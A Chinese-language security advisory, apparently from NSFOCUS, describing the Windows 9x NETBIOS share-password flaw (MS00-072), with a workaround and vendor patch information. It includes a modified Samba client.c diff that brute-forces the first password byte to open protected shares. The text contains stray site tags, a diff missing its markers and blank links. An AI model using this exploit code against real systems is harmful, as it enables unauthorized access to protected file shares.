NSFOCUS 安全小組發現了微軟Windows 9x NETBIOS協議口令校驗部分存在一個安全漏洞。這個漏洞允許任意用戶訪問Windows 9x文件共享服務,即使此共享目錄已經受到口令保護。攻擊者並不需要知道真實口令。 受影響的軟件及系統:Microsoft Windows 95、Microsoft Windows 98、Microsoft Windows 98 Second Edition。不受影響的軟件及系統: Microsoft Windows NT、Microsoft Windows 2000。 漏洞分析: Windows 9x系統提供的文件和打印共享服務可以設置口令保護,以避免非法用戶的訪問。然而微軟NETBIOS協議的口令校驗機制存在一個嚴重漏洞,5自學網,使得這種保護形同虛設。服務端在對客戶端的口令進行校驗時是以客戶端發送的長度數據為依據的。因此,客戶端在發送口令認證數據包時可以設置長度域為1, 同時發送一個字節的明文口令給服務端。服務端就會將客戶端發來口令與服務端保存的共享口令的第一個字節進行明文比較,如果匹配就認為通過了驗證。因此,攻擊者僅僅需要猜測共享口令的第一個字節即可。 Microsoft Windows 9x 的遠程管理也是采用的共享密碼認證方式,所以也受此漏洞影響。 漏洞測試: 下面提供一個簡單的測試程序。 您需要下載並修改Linux下的samba client(source/client/client.c)的源碼: --- samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59 1999 samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000 @@ -1961,12 1961,22 @@ struct cli_state *do_connect(char *serve DEBUG(4,(" session setup ok\n")); /* if (!cli_send_tconX(c, share, "?????", password, strlen(password) 1)) { DEBUG(0,("tree connect failed: %s\n", cli_errstr(c))); cli_shutdown(c); return NULL; } */ password[0] = 0; c->sec_mode = 0; do{ password[0] =1; }while(!cli_send_tconX(c, share, "?????", password, 1)); DEBUG(4,(" tconx ok\n")); 臨時解決方法: NSFOCUS建議您在沒有獲得並安裝補丁程序之前,5自學網,暫時關閉文件共享服務。 解決方案: 我們已經將這個問題通報給了微軟公司,微軟已就此發布了一個安全公告(MS00-072) 以及相應補丁。 您可以在下列地址看到微軟安全公告的詳細內容: 英文版的補丁程序可以在下列地址下載: . Microsoft Windows 95:微軟將會盡快提供補丁 . Microsoft Windows 98 and 98 Second Edition . Microsoft Windows Me